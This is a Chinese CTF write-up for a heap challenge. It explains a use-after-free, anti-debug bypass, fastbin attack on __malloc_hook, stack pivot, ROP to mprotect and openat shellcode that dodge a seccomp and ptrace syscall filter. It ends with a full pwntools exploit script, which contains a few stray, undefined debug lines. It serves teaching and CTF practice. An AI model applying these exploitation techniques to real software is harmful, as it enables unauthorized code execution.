[Pwn] Pwn7 - cpt.shao xp0int Posted on Jul 29 2019 隔壁Waterdrop队里师傅出的一道题目,比较全面地考察了几个基础知识点。 首先还是开了沙盒禁用execve: ```c line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000000 A = sys_number 0001: 0x35 0x02 0x00 0x40000000 if (A >= 0x40000000) goto 0004 0002: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0004 0003: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0004: 0x06 0x00 0x00 0x00000000 return KILL ``` ```c Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) ``` 保护方面没有开PIE算是个好消息。 漏洞点也很明显,直接就是没有清空指针造成的UAF。 ```c unsigned __int64 delete() { int v1; // [rsp+4h] [rbp-Ch] unsigned __int64 v2; // [rsp+8h] [rbp-8h] v2 = __readfsqword(0x28u); puts("please don't patch this function!! I will check it!!"); puts("index ?"); _isoc99_scanf("%d", &v1); if ( v1 >= 0 && v1 <= 31 && note[v1] ) free(note[v1]); else puts("invalid index"); return __readfsqword(0x28u) ^ v2; } ``` main函数处利用prctl做了一个简单的反调试,直接gdb attach会导致查看不到堆的情况,解决方法也很简单,直接把`fork`,`watch`,`prctl`,`ptrace`几个函数调用都nop掉即可。 ```c int __cdecl __noreturn main(int argc, const char **argv, const char **envp) { __pid_t v3; // eax int v4; // [rsp+8h] [rbp-118h] __pid_t v5; // [rsp+Ch] [rbp-114h] char s; // [rsp+10h] [rbp-110h] unsigned __int64 v7; // [rsp+118h] [rbp-8h] v7 = __readfsqword(0x28u); init(); v5 = fork(); if ( v5 < 0 ) { puts("something wrong!"); exit(-1); } if ( v5 ) watch((unsigned int)v5); prctl(1, 1LL); ptrace(0, 0LL, 0LL, 0LL); v3 = getpid(); kill(v3, 19); puts("you can't call the execve syscall, so you need to find another way to get flag"); puts("and bewared!, something is watching you !!"); memset(&s, 0, 0x100uLL); puts("what is your name? "); read(0, &s, 0xFFuLL); printf("hi ! %s\n", &s); ``` 题目也提供了2.23的libc。 ## 利用 这里最简单直接的做法就是fastbin attack打`malloc_hook`/`free_hook`,但是沙盒禁用execve以后不能直接onegadget。所以还是需要转化为rop来直接读flag。 比赛期间差点做出来,第一晚复盘再花了一两个小时就完成了,只不过用的方法非常绕:由于没有开PIE,所以bss上的地址都是可以知道的。首先利用bss上的size记录作为chunk的fake size,fastbin attack攻击bss段,这样可以获得一个note指针的任意读写。先从libc中读出stack地址,然后观察stack选择一个合适的位置作为fastbin attack的目标,目的是读出canary,最后还是通过fastbin attack来往返回地址写rop chain。因为rop chain长度受限,所以第一次rop的目的是读入新的rop到bss段并且pivot到bss段,接下来的第二次rop就可以先mprotect解开bss段的保护,读入shellcode并且跳到上面。 和队友一直讨论这个方法好像太绕了,应该有别的方法。赛后刚好碰到出题人就聊了一下。预期的做法是往`malloc hook`上写pivot gadget,其实程序开始时候要求输入用户名的地方可以存放rop chain,在触发`__malloc_hook`的时候刚好用一条`add rsp,0x38`的gadget就能跳到用户名的rop chain上面去。而写用户名的时候libc地址还没被泄露出来,所以只能用code段的gadget来做rop,不过已经足够,做法还是先用短rop来读入长rop,第二次rop chain就可以用libc上面的gadget了,mprotect解开执行权限,跳shellcode就行了。 构造shellcode的时候还有一个点: ```c while ( 1 ) { ptrace(PTRACE_SYSCALL, a1, 0LL, 0LL); waitpid(a1, &stat_loc, 0); if ( !(stat_loc & 0x7F) || (char)((char)((stat_loc & 0x7F) + 1) >> 1) > 0 || (stat_loc & 0xFF00) >> 8 != 5 ) break; ptrace(PTRACE_GETREGS, a1, 0LL, &v3); v2 = v4; if ( v4 == 2 || v2 == 9 || v2 == 57 || v2 == 58 || v2 == 101 ) { puts("hey! what are you doing?"); exit(-1); } } ``` watch函数当中有个`ptrace`函数来监听目标程序的syscall,若是检测到列出的系统调用号,包括:`open`,`mmap`,`fork`,`vfork`,`ptrace`就会退出程序。还好没有禁用mprotect,我们才能通过shellcode来绕过,写shellcode的时候可以改用`openat`的系统调用号来打开文件。 ## exp.py ```c from pwn import * import re context.terminal = ['tmux', 'splitw', '-h'] context.arch = 'amd64' context.log_level = "debug" env = {'LD_PRELOAD': ''} libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") elf = ELF("./pwn73") if len(sys.argv) == 1: p = process('./pwn73') elif len(sys.argv) == 3: p = remote(sys.argv[1], sys.argv[2]) se = lambda data :p.send(data) sa = lambda delim,data :p.sendafter(delim, data) sl = lambda data :p.sendline(data) sla = lambda delim,data :p.sendlineafter(delim, data) sea = lambda delim,data :p.sendafter(delim, data) rc = lambda numb=4096 :p.recv(numb) ru = lambda delims, drop=True :p.recvuntil(delims, drop) uu32 = lambda data :u32(data.ljust(4, '\0')) uu64 = lambda data :u64(data.ljust(8, '\0')) info_addr = lambda tag, addr :p.info(tag + ': {:#x}'.format(addr)) def add(size, content): sla(">> ", "1") sla("size?", str(size)) sla("content?", content) def delete(idx): sla(">> ", "2") sla("index ?", str(idx)) def show(idx): sla(">> ", "3")wenjian sla("index ?", str(idx)) pop_rdi = 0x401193 pop_rsi_r15 = 0x401191 pop_rsp_r13_r14_r15 = 0x40118d rop = ROP(elf) rop.raw(pop_rdi) rop.raw(0) rop.raw(pop_rsi_r15) rop.raw(elf.bss()+0x200) rop.raw(0) rop.raw(elf.plt["read"]) rop.raw(pop_rsp_r13_r14_r15) rop.raw(elf.bss()+0x200) # rop.raw(0xdeadbeef) payload = rop.chain().ljust(0x100) sla("name?", payload[:-1]) add(0x100, "a"*0x100) add(0x10, "b"*0x10) delete(0) show(0) # leak ru("\n") leak = uu64(rc(6)) info_addr("libc_leak", leak) libc.address = leak - 0x3c4b78 info_addr("libc", libc.address) add(0x60, "c"*0x60) add(0x60, "d"*0x60) delete(2) delete(3) delete(2) pivot_gadget = libc.address + 0x00000000000c96a6 # add rsp, 0x38; ret add(0x60, p64(libc.symbols['__malloc_hook'] - 35)) add(0x60, "junk") add(0x60, "junk") add(0x60, "a"*19 + p64(pivot_gadget)) pop_rdx = libc.address + 0x1b92 rop1 = ROP(elf) rop1.raw(pop_rdx) rop1.raw(0x100) rop1.raw(elf.plt['read']) raw_input("continue1?") bp(pivot_gadget) gdb.attach(p, gdbcmd) sla(">> ", "1") sla("size?", "1") se("a"*0x18 + rop1.chain()) rop2 = ROP(elf) rop2.raw(pop_rdi) rop2.raw(0x602000) rop2.raw(pop_rsi_r15) rop2.raw(0x1000) rop2.raw(0) rop2.raw(pop_rdx) rop2.raw(7) rop2.raw(libc.symbols['mprotect']) rop2.raw(0x6022a0) payload = rop2.chain() +"@@@@@@@@"+ asm(shellcraft.linux.openat(0x70, "/pwn/flag", 0) + shellcraft.linux.read(3, elf.bss()+0x200, 0x20) + shellcraft.linux.write(1, elf.bss()+0x200, 0x20)) print hex(len(payload)) raw_input("continue2?") se(cyclic(48) + payload) p.interactive() ``` 打赏还是打残,这是个问题 赏 Wechat Pay Alipay [Pwn] Pwn5 (inode_heap)- cpt.shao [Web] 高明的黑客 - LanceaKing
没有帐号? 立即注册